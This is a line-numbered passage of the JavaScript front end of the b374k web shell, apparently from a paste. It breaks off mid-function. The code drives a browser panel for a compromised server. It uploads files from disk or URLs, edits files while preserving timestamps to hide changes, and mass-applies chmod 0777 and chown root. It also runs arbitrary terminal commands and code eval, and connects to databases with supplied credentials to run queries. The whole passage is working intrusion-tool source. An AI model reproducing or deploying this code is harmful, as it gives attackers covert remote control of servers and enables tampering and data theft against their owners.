  3531.     ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
  3532.     ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
  3533.     content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
  3534.     $('#explorer').html(content);
  3535.     ul_add_comp();
  3536.     ul_add_url();
  3537.  
  3538.     $('#ulDragNDrop').on('dragenter', function(e){
  3539.         e.stopPropagation();
  3540.         e.preventDefault();
  3541.     });
  3542.  
  3543.     $('#ulDragNDrop').on('dragover', function(e){
  3544.         e.stopPropagation();
  3545.         e.preventDefault();
  3546.     });
  3547.  
  3548.     $('#ulDragNDrop').on('drop', function(e){
  3549.         e.stopPropagation();
  3550.         e.preventDefault();
  3551.  
  3552.         files = e.target.files || e.dataTransfer.files;
  3553.         ulResult = $('.ulDragNDropResult');
  3554.         ulResult.html('');
  3555.         $.each(files, function(i){
  3556.             if(this){
  3557.                 ulType = 'DragNDrop';
  3558.                 filename = this.name;
  3559.  
  3560.                 var formData = new FormData();
  3561.                 formData.append('ulFile', this);
  3562.                 formData.append('ulSaveTo', get_cwd());
  3563.                 formData.append('ulFilename', filename);
  3564.                 formData.append('ulType', 'comp');
  3565.  
  3566.                 entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3567.                 ulResult.append(entry);
  3568.  
  3569.                 if(this.size<=0){
  3570.                     $('.ulProgress'+ulType+i).html('( failed )');
  3571.                     $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3572.                     $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3573.                 }
  3574.                 else{
  3575.                     ul_start(formData, ulType, i);
  3576.                 }
  3577.             }
  3578.         });
  3579.     });
  3580. }
  3581.  
  3582. function ul_add_comp(path){
  3583.     path = html_safe($('.ul_path').val());
  3584.     $('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
  3585. }
  3586.  
  3587. function ul_add_url(path){
  3588.     path = html_safe($('.ul_path').val());
  3589.     $('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
  3590. }
  3591.  
  3592. function ul_start(formData, ulType, i){
  3593.     loading_start();
  3594.     $.ajax({
  3595.         url: targeturl,
  3596.         type: 'POST',
  3597.         data: formData,
  3598.         cache: false,
  3599.         contentType: false,
  3600.         processData: false,
  3601.         xhr: function(){
  3602.             myXhr = $.ajaxSettings.xhr();
  3603.             if(myXhr.upload){
  3604.                 myXhr.upload.addEventListener('progress', function(e){
  3605.                     percent = Math.floor(e.loaded / e.total * 100);
  3606.                     $('.ulProgress'+ulType+i).html('( '+ percent +'% )');
  3607.                 }, false);
  3608.             }
  3609.             return myXhr;
  3610.         },
  3611.         success: function(res){
  3612.             if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
  3613.                 res = 'error';
  3614.             }
  3615.  
  3616.             if(res=='error'){
  3617.                 $('.ulProgress'+ulType+i).html('( failed )');
  3618.             }
  3619.             else{
  3620.                 $('.ulRes'+ulType+i).html(res);
  3621.             }
  3622.             loading_stop();
  3623.         },
  3624.         error: function(){
  3625.             loading_stop();
  3626.             $('.ulProgress'+ulType+i).html('( failed )');
  3627.             $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3628.             $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3629.         }
  3630.     });
  3631. }
  3632.  
  3633. function ul_go(ulType){
  3634.     ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
  3635.     ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
  3636.     ulResult.html('');
  3637.  
  3638.     ulFile.each(function(i){
  3639.         if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
  3640.             file = (ulType=='comp')? this.files[0]: this.value;
  3641.             filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);
  3642.  
  3643.             ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
  3644.             ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;
  3645.  
  3646.             var formData = new FormData();
  3647.             formData.append('ulFile', file);
  3648.             formData.append('ulSaveTo', ulSaveTo);
  3649.             formData.append('ulFilename', ulFilename);
  3650.             formData.append('ulType', ulType);
  3651.  
  3652.             entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3653.             ulResult.append(entry);
  3654.  
  3655.             check = true;
  3656.             if(ulType=='comp'){
  3657.                 check = (file.size<=0);
  3658.             }
  3659.             else check = (file=="");
  3660.  
  3661.             if(check){
  3662.                 $('.ulProgress'+ulType+i).html('( failed )');
  3663.                 $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3664.                 $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3665.             }
  3666.             else{
  3667.                 ul_start(formData, ulType, i);
  3668.             }
  3669.         }
  3670.     });
  3671. }
  3672.  
  3673. function trap_ctrl_enter(el, e, callback){
  3674.     if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  3675.         if(callback!=null) window[callback]();
  3676.     }
  3677.     fix_tabchar(el, e);
  3678. }
  3679.  
  3680. function edit_save_raw(){
  3681.     edit_save('edit');
  3682. }
  3683.  
  3684. function edit_save_hex(){
  3685.     edit_save('hex');
  3686. }
  3687.  
  3688. function edit_save(editType){
  3689.     editFilename = $('#editFilename').val();
  3690.     editInput = $('#editInput').val();
  3691.     editSuccess = false;
  3692.     preserveTimestamp = 'false';
  3693.     if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
  3694.     send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
  3695.         function(res){
  3696.         if(res!='error'){
  3697.             editSuccess = 'success';
  3698.             view(editFilename, editType, preserveTimestamp);
  3699.         }
  3700.         else editSuccess = 'error';
  3701.         }
  3702.     );
  3703. }
  3704.  
  3705.  
  3706.  
  3707. function mass_act(type){
  3708.     buffer = get_all_cbox_selected('xplTable', 'xpl_href');
  3709.  
  3710.     if((type=='cut')||(type=='copy')){
  3711.         localStorage.setItem('bufferLength', buffer.length);
  3712.         localStorage.setItem('bufferAction', type);
  3713.         $.each(buffer,function(i,v){
  3714.             localStorage.setItem('buffer_'+i, v);
  3715.         });
  3716.     }
  3717.     else if(type=='paste'){
  3718.         bufferLength = localStorage.getItem('bufferLength');
  3719.         bufferAction = localStorage.getItem('bufferAction');
  3720.         if(bufferLength>0){
  3721.             massBuffer = '';
  3722.             for(var i=0;i<bufferLength;i++){
  3723.                 if((buff = localStorage.getItem('buffer_'+i))){
  3724.                     massBuffer += buff + '\n';
  3725.                 }
  3726.             }
  3727.             massBuffer = $.trim(massBuffer);
  3728.  
  3729.             if(bufferAction=='cut') title = 'move';
  3730.             else if(bufferAction=='copy') title = 'copy';
  3731.  
  3732.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
  3733.             show_box(ucfirst(title), content);
  3734.         }
  3735.  
  3736.     }
  3737.     else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
  3738.         if(type=='extract (tar)') arcType = 'untar';
  3739.         else if(type=='extract (tar.gz)') arcType = 'untargz';
  3740.         else if(type=='extract (zip)') arcType = 'unzip';
  3741.  
  3742.         if(buffer.length>0){
  3743.             massBuffer = '';
  3744.             $.each(buffer,function(i,v){
  3745.                 massBuffer += v + '\n';
  3746.             });
  3747.             massBuffer = $.trim(massBuffer);
  3748.             title = type;
  3749.  
  3750.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'  onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
  3751.             show_box(ucfirst(title), content);
  3752.         }
  3753.     }
  3754.     else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
  3755.         date = new Date();
  3756.         rand = date.getTime();
  3757.         if(type=='compress (tar)'){
  3758.             arcType = 'tar';
  3759.             arcFilename = rand+'.tar';
  3760.         }
  3761.         else if(type=='compress (tar.gz)'){
  3762.             arcType = 'targz';
  3763.             arcFilename = rand+'.tar.gz';
  3764.         }
  3765.         else if(type=='compress (zip)'){
  3766.             arcType = 'zip';
  3767.             arcFilename = rand+'.zip';
  3768.         }
  3769.  
  3770.         if(buffer.length>0){
  3771.             massBuffer = '';
  3772.             $.each(buffer,function(i,v){
  3773.                 massBuffer += v + '\n';
  3774.             });
  3775.             massBuffer = $.trim(massBuffer);
  3776.             title = type;
  3777.  
  3778.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
  3779.             show_box(ucfirst(title), content);
  3780.         }
  3781.     }
  3782.     else if(type!=''){
  3783.         if(buffer.length>0){
  3784.             massBuffer = '';
  3785.             $.each(buffer,function(i,v){
  3786.                 massBuffer += v + '\n';
  3787.             });
  3788.             massBuffer = $.trim(massBuffer);
  3789.             title = type;
  3790.             line = '';
  3791.             if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3792.             else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3793.             else if(type=='touch'){
  3794.                 var now = new Date();
  3795.                 line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3796.             }
  3797.  
  3798.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
  3799.             show_box(ucfirst(title), content);
  3800.         }
  3801.     }
  3802.  
  3803.     $('.cBoxSelected').removeClass('cBoxSelected');
  3804.     xpl_update_status();
  3805. }
  3806.  
  3807. function mass_act_go_tar(){
  3808.     mass_act_go('tar');
  3809. }
  3810.  
  3811. function mass_act_go_targz(){
  3812.     mass_act_go('targz');
  3813. }
  3814.  
  3815. function mass_act_go_zip(){
  3816.     mass_act_go('zip');
  3817. }
  3818.  
  3819. function mass_act_go_untar(){
  3820.     mass_act_go('untar');
  3821. }
  3822.  
  3823. function mass_act_go_untargz(){
  3824.     mass_act_go('untargz');
  3825. }
  3826.  
  3827. function mass_act_go_unzip(){
  3828.     mass_act_go('unzip');
  3829. }
  3830.  
  3831. function mass_act_go_paste(){
  3832.     mass_act_go('paste');
  3833. }
  3834.  
  3835. function mass_act_go_chmod(){
  3836.     mass_act_go('chmod');
  3837. }
  3838.  
  3839. function mass_act_go_chown(){
  3840.     mass_act_go('chown');
  3841. }
  3842.  
  3843. function mass_act_go_touch(){
  3844.     mass_act_go('touch');
  3845. }
  3846.  
  3847. function mass_act_go(massType){
  3848.     massBuffer = $.trim($('.massBuffer').val());
  3849.     massPath = get_cwd();
  3850.     massValue = '';
  3851.     if(massType=='paste'){
  3852.         bufferLength = localStorage.getItem('bufferLength');
  3853.         bufferAction = localStorage.getItem('bufferAction');
  3854.         if(bufferLength>0){
  3855.             massBuffer = '';
  3856.             for(var i=0;i<bufferLength;i++){
  3857.                 if((buff = localStorage.getItem('buffer_'+i))){
  3858.                     massBuffer += buff + '\n';
  3859.                 }
  3860.             }
  3861.             massBuffer = $.trim(massBuffer);
  3862.             if(bufferAction=='copy') massType = 'copy';
  3863.             else if(bufferAction=='cut') massType = 'cut';
  3864.         }
  3865.     }
  3866.     else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
  3867.         massValue = $('.massValue').val();
  3868.     }
  3869.     else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
  3870.         massValue = $('.massValue').val();
  3871.     }
  3872.     else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
  3873.         massValue = $('.massValue').val();
  3874.     }
  3875.  
  3876.  
  3877.     if(massBuffer!=''){
  3878.         send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
  3879.             if(res!='error'){
  3880.                 $('.boxresult').html(res+' Operation(s) succeeded');
  3881.             }
  3882.             else $('.boxresult').html('Operation(s) failed');
  3883.             navigate(get_cwd());
  3884.         });
  3885.     }
  3886. }
  3887.  
  3888. function xpl_update_status(){
  3889.     totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
  3890.     if(totalSelected==0) $('.xplSelected').html('');
  3891.     else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
  3892. }
  3893.  
  3894.  
  3895. function xpl_bind(){
  3896.     $('.navigate').off('click');
  3897.     $('.navigate').on('click', function(e){
  3898.         path = xpl_href($(this));
  3899.         navigate(path);
  3900.         hide_box();
  3901.     });
  3902.  
  3903.     $('.navbar').off('click');
  3904.     $('.navbar').on('click', function(e){
  3905.         path = $(this).attr('data-path');
  3906.         navigate(path);
  3907.         hide_box();
  3908.     });
  3909.  
  3910.     $('.newfolder').off('click');
  3911.     $('.newfolder').on('click', function(e){
  3912.         path = html_safe(xpl_href($(this)));
  3913.         newfolder(path);
  3914.     });
  3915.  
  3916.     $('.newfile').off('click');
  3917.     $('.newfile').on('click', function(e){
  3918.         path = html_safe(xpl_href($(this)));
  3919.         newfile(path);
  3920.     });
  3921.  
  3922.     $('.del').off('click');
  3923.     $('.del').on('click', function(e){
  3924.         path = html_safe(xpl_href($(this)));
  3925.         del(path);
  3926.     });
  3927.  
  3928.     $('.view').off('click');
  3929.     $('.view').on('click', function(e){
  3930.         path = xpl_href($(this));
  3931.         view(path, 'auto');
  3932.         hide_box();
  3933.     });
  3934.  
  3935.     $('.hex').off('click');
  3936.     $('.hex').on('click', function(e){
  3937.         path = xpl_href($(this));
  3938.         view(path, 'hex');
  3939.     });
  3940.  
  3941.     $('#viewFullsize').off('click');
  3942.     $('#viewFullsize').on('click', function(e){
  3943.         src = $('#viewImage').attr('src');
  3944.         window.open(src);
  3945.     });
  3946.  
  3947.     $('.edit').off('click');
  3948.     $('.edit').on('click', function(e){
  3949.         path = xpl_href($(this));
  3950.         view(path, 'edit');
  3951.         hide_box();
  3952.     });
  3953.  
  3954.     $('.ren').off('click');
  3955.     $('.ren').on('click', function(e){
  3956.         path = html_safe(xpl_href($(this)));
  3957.         ren(path);
  3958.     });
  3959.  
  3960.     $('.action').off('click');
  3961.     $('.action').on('click', function(e){
  3962.         path = html_safe(xpl_href($(this)));
  3963.         action(path, 'file');
  3964.     });
  3965.  
  3966.     $('.actionfolder').off('click');
  3967.     $('.actionfolder').on('click', function(e){
  3968.         path = html_safe(xpl_href($(this)));
  3969.         action(path, 'dir');
  3970.     });
  3971.  
  3972.     $('.actiondot').off('click');
  3973.     $('.actiondot').on('click', function(e){
  3974.         path = html_safe(xpl_href($(this)));
  3975.         action(path, 'dot');
  3976.     });
  3977.  
  3978.     $('.dl').off('click');
  3979.     $('.dl').on('click', function(e){
  3980.         path = html_safe(xpl_href($(this)));
  3981.         $('#form').append("<input type='hidden' name='download' value='"+path+"'>");
  3982.         $('#form').submit();
  3983.         $('#form').html('');
  3984.         hide_box();
  3985.     });
  3986.  
  3987.     $('.ul').off('click');
  3988.     $('.ul').on('click', function(e){
  3989.         path = xpl_href($(this));
  3990.         navigate(path, false);
  3991.         path = html_safe(path);
  3992.         ul(path);
  3993.         hide_box();
  3994.     });
  3995.  
  3996.     $('.find').off('click');
  3997.     $('.find').on('click', function(e){
  3998.         path = xpl_href($(this));
  3999.         navigate(path, false);
  4000.         path = html_safe(path);
  4001.         find(path);
  4002.         hide_box();
  4003.     });
  4004.  
  4005.     $('#massAction').off('click');
  4006.     $('#massAction').on('change', function(e){
  4007.         type = $('#massAction').val();
  4008.         mass_act(type);
  4009.         $('#massAction').val('Action');
  4010.     });
  4011.  
  4012.     cbox_bind('xplTable','xpl_update_status');
  4013. }
  4014.  
  4015. function xpl_href(el){
  4016.     return el.parent().parent().attr('data-path');
  4017. }
  4018.  
  4019. function multimedia(path){
  4020.     var a = $('video').get(0);
  4021.     send_post({multimedia:path}, function(res){
  4022.         a.src = res;
  4023.     });
  4024.     hide_box();
  4025. }
  4026.  
  4027. $('#terminalInput').on('keydown', function(e){
  4028.     if(e.keyCode==13){
  4029.         cmd = $('#terminalInput').val();
  4030.         terminalHistory.push(cmd);
  4031.         terminalHistoryPos = terminalHistory.length;
  4032.         if(cmd=='clear'||cmd=='cls'){
  4033.             $('#terminalOutput').html('');
  4034.         }
  4035.         else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
  4036.             path = $.trim(path[1]);
  4037.             navigate(path);
  4038.         }
  4039.         else if(cmd!=''){
  4040.             send_post({ terminalInput: cmd }, function(res){
  4041.                 cwd = html_safe(get_cwd());
  4042.                 res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+ '\n' + res+'\n';
  4043.                 $('#terminalOutput').append(res);
  4044.                 bottom = $(document).height()-$(window).height();
  4045.                 $(window).scrollTop(bottom);
  4046.             });
  4047.         }
  4048.         $('#terminalInput').val('');
  4049.         setTimeout("$('#terminalInput').focus()",100);
  4050.     }
  4051.     else if(e.keyCode==38){
  4052.         if(terminalHistoryPos>0){
  4053.             terminalHistoryPos--;
  4054.             $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4055.             if(terminalHistoryPos<0) terminalHistoryPos = 0;
  4056.         }
  4057.     }
  4058.     else if(e.keyCode==40){
  4059.         if(terminalHistoryPos<terminalHistory.length-1){
  4060.             terminalHistoryPos++;
  4061.             $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4062.             if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
  4063.         }
  4064.     }
  4065.     fix_tabchar(this, e);
  4066. });
  4067.  
  4068. function eval_go(){
  4069.     evalType = $('#evalType').val();
  4070.     evalInput = $('#evalInput').val();
  4071.     evalOptions = $('#evalOptions').val();
  4072.     evalArguments = $('#evalArguments').val();
  4073.  
  4074.     if(evalOptions=='Options/Switches') evalOptions = '';
  4075.     if(evalArguments=='Arguments') evalArguments = '';
  4076.  
  4077.     if($.trim(evalInput)!=''){
  4078.         send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
  4079.             function(res){
  4080.                 if(res!='error'){
  4081.                     splits = res.split('{[|b374k|]}');
  4082.                     if(splits.length==2){
  4083.                         output = splits[0]+"<hr>"+splits[1];
  4084.                         $('#evalOutput').html(output);
  4085.                     }
  4086.                     else{
  4087.                         $('#evalOutput').html(res);
  4088.                     }
  4089.                 }
  4090.             }
  4091.         );
  4092.     }
  4093. }
  4094.  
  4095. function eval_init(){
  4096.     if((evalSupported = localStorage.getItem('evalSupported'))){
  4097.         eval_bind();
  4098.         output("eval : "+evalSupported);
  4099.         evalReady = true;
  4100.     }
  4101.     else{
  4102.         send_post({evalGetSupported:"evalGetSupported"}, function(res){
  4103.             evalReady = true;
  4104.             if(res!="error"){
  4105.                 localStorage.setItem('evalSupported', res);
  4106.                 evalSupported = res;
  4107.                 eval_bind();
  4108.                 output("eval : "+evalSupported);
  4109.             }
  4110.         });
  4111.     }
  4112. }
  4113.  
  4114. function eval_bind(){
  4115.     if((evalSupported!=null)&&(evalSupported!='')){
  4116.         splits = evalSupported.split(",");
  4117.         $.each(splits, function(i, k){
  4118.             $('#evalType').append("<option>"+k+"</option>");
  4119.         });
  4120.     }
  4121.     $('#evalType').on('change', function(e){
  4122.         if($('#evalType').val()=='php'){
  4123.             $('#evalAdditional').hide();
  4124.         }
  4125.         else{
  4126.             $('#evalAdditional').show();
  4127.         }
  4128.     });
  4129.     $('#evalOptions').on('focus', function(e){
  4130.         options = $('#evalOptions');
  4131.         if(options.val()=='Options/Switches') options.val('');
  4132.     });
  4133.     $('#evalOptions').on('blur', function(e){
  4134.         options = $('#evalOptions');
  4135.         if($.trim(options.val())=='') options.val('Options/Switches');
  4136.     });
  4137.     $('#evalArguments').on('focus', function(e){
  4138.         args = $('#evalArguments');
  4139.         if(args.val()=='Arguments') args.val('');
  4140.     });
  4141.     $('#evalArguments').on('blur', function(e){
  4142.         args = $('#evalArguments');
  4143.         if($.trim(args.val())=='') args.val('Arguments');
  4144.     });
  4145.  
  4146.     $('#evalInput').on('keydown', function(e){
  4147.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4148.             eval_go();
  4149.         }
  4150.         fix_tabchar(this, e);
  4151.     });
  4152. }
  4153. Zepto(function($){
  4154.     $('#decodeStr').on('keydown', function(e){
  4155.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4156.             decode_go();
  4157.         }
  4158.         fix_tabchar(this, e);
  4159.     });
  4160. });
  4161.  
  4162. function decode_go(){
  4163.     decodeStr = $('#decodeStr').val();
  4164.     send_post({decodeStr:decodeStr}, function(res){
  4165.         if(res!='error'){
  4166.             $('#decodeResult').html('');
  4167.             $('#decodeResult').html(res);
  4168.         }
  4169.     });
  4170. }
  4171.  
  4172.  
  4173. Zepto(function($){
  4174.     db_init();
  4175.  
  4176. });
  4177.  
  4178. var dbSupported = "";
  4179. var dbPageLimit = 50;
  4180.  
  4181. function db_init(){
  4182.     if((dbSupported = localStorage.getItem('db_supported'))){
  4183.         db_bind();
  4184.         output("db : "+dbSupported);
  4185.         db_add_supported();
  4186.     }
  4187.     else{
  4188.         send_post({dbGetSupported:""}, function(res){
  4189.             if(res!="error"){
  4190.                 localStorage.setItem('dbSupported', res);
  4191.                 dbSupported = res;
  4192.                 db_bind();
  4193.                 output("db : "+dbSupported);
  4194.                 db_add_supported();
  4195.             }
  4196.         });
  4197.     }
  4198. }
  4199.  
  4200. function db_add_supported(){
  4201.     splits = dbSupported.split(",");
  4202.     $.each(splits, function(i, k){
  4203.         $('#dbType').append("<option>"+k+"</option>");
  4204.     });
  4205. }
  4206.  
  4207. function db_bind(){
  4208.     $('#dbType').on('change', function(e){
  4209.         type = $('#dbType').val();
  4210.         if((type=='odbc')||(type=='pdo')){
  4211.             $('.dbHostLbl').html('DSN / Connection String');
  4212.             $('.dbUserRow').show();
  4213.             $('.dbPassRow').show();
  4214.             $('.dbPortRow').hide();
  4215.  
  4216.         }
  4217.         else if((type=='sqlite')||(type=='sqlite3')){
  4218.             $('.dbHostLbl').html('DB File');
  4219.             $('.dbUserRow').hide();
  4220.             $('.dbPassRow').hide();
  4221.             $('.dbPortRow').hide();
  4222.  
  4223.         }
  4224.         else{
  4225.             $('.dbHostLbl').html('Host');
  4226.             $('.dbUserRow').show();
  4227.             $('.dbPassRow').show();
  4228.             $('.dbPortRow').show();
  4229.         }
  4230.     });
  4231.  
  4232.     $('#dbQuery').on('focus', function(e){
  4233.         if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
  4234.             $('#dbQuery').val('');
  4235.         }
  4236.     });
  4237.     $('#dbQuery').on('blur', function(e){
  4238.         if($('#dbQuery').val()==''){
  4239.             $('#dbQuery').val('You can also press ctrl+enter to submit');
  4240.         }
  4241.     });
  4242.     $('#dbQuery').on('keydown', function(e){
  4243.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4244.             db_run();
  4245.         }
  4246.     });
  4247. }
  4248.  
  4249. function db_nav_bind(){
  4250.     dbType = $('#dbType').val();
  4251.     $('.boxNav').off('click');
  4252.     $('.boxNav').on('click', function(){
  4253.         $(this).next().toggle();
  4254.     });
  4255.  
  4256.     $('.dbTable').off('click');
  4257.     $('.dbTable').on('click', function(){
  4258.         type = $('#dbType').val();
  4259.         table = $(this).html();
  4260.         db = $(this).parent().parent().parent().prev().html();
  4261.         db_query_tbl(type, db, table, 0, dbPageLimit);
  4262.     });
  4263. }
  4264.  
  4265. function db_connect(){
  4266.     dbType = $('#dbType').val();
  4267.     dbHost = $('#dbHost').val();
  4268.     dbUser = $('#dbUser').val();
  4269.     dbPass = $('#dbPass').val();
  4270.     dbPort = $('#dbPort').val();
  4271.     send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
  4272.         if(res!='error'){
  4273.             $('#dbNav').html(res);
  4274.             $('.dbHostRow').hide();
  4275.             $('.dbUserRow').hide();
  4276.             $('.dbPassRow').hide();
  4277.             $('.dbPortRow').hide();
  4278.             $('.dbConnectRow').hide();
  4279.             $('.dbQueryRow').show();
  4280.             $('#dbBottom').show();
  4281.             db_nav_bind();
  4282.         }
  4283.         else $('.dbError').html('Unable to connect');
  4284.     });
  4285. }
  4286.  
  4287. function db_disconnect(){
  4288.     $('.dbHostRow').show();
  4289.     $('.dbUserRow').show();
  4290.     $('.dbPassRow').show();
  4291.     $('.dbPortRow').show();
  4292.     $('.dbConnectRow').show();
  4293.     $('.dbQueryRow').hide();
  4294.     $('#dbNav').html('');
  4295.     $('#dbResult').html('');
  4296.     $('#dbBottom').hide();
  4297. }
  4298.  
  4299. function db_run(){
  4300.     dbType = $('#dbType').val();
  4301.     dbHost = $('#dbHost').val();
  4302.     dbUser = $('#dbUser').val();
  4303.     dbPass = $('#dbPass').val();
  4304.     dbPort = $('#dbPort').val();
  4305.     dbQuery = $('#dbQuery').val();
  4306.  
  4307.     if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
  4308.         send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
  4309.             if(res!='error'){
  4310.                 $('#dbResult').html(res);
  4311.                 $('.tblResult').each(function(){
  4312.                     sorttable.k(this);
  4313.                 });
  4314.             }
  4315.         });
  4316.     }
  4317. }
  4318.  
  4319. function db_query_tbl(type, db, table, start, limit){
  4320.     dbType = $('#dbType').val();
  4321.     dbHost = $('#dbHost').val();
  4322.     dbUser = $('#dbUser').val();
  4323.     dbPass = $('#dbPass').val();
  4324.     dbPort = $('#dbPort').val();
  4325.  
  4326.     send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
  4327.         if(res!='error'){
  4328.             $('#dbResult').html(res);
  4329.             $('.tblResult').each(function(){
  4330.                 sorttable.k(this);
  4331.             });
  4332.         }
  4333.     });
  4334. }
  4335.  
  4336. function db_pagination(type){
  4337.     db = $('#dbDB').val();
  4338.     table = $('#dbTable').val();
  4339.     start = parseInt($('#dbStart').val());
  4340.     limit = parseInt($('#dbLimit').val());
  4341.     dbType = $('#dbType').val();
  4342.  
  4343.     if(type=='next'){
  4344.         start = start+limit;
  4345.     }
  4346.     else if(type=='prev'){
  4347.         start = start-limit;
